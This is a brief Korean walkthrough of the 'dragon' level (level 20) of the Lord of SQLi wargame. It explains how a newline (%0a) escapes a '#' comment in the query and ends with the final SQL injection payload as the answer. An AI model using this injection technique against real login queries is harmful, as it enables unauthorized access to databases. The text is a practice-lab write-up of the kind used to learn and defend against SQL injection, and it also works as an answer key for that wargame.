LOS - dragon / level 20

문제

풀이

query : select id from prob_dragon where id='guest'# and pw='' 으로 구성되어 있으며 pw에 값을 대입할 수 있다.

 

하지만 pw 앞에 주석처리의 의미인 # 이 붙어있어 pw의 입력값이 생략됨을 알 수 있다.

 

이를 해결하기 위해서는 줄넘김 기법을 사용해서 이를 우회한다.

 

%0a / 줄넘김(\n)

%0b / 수직 텝

 

정답

?pw='%0aor%201%20limit%201,1%23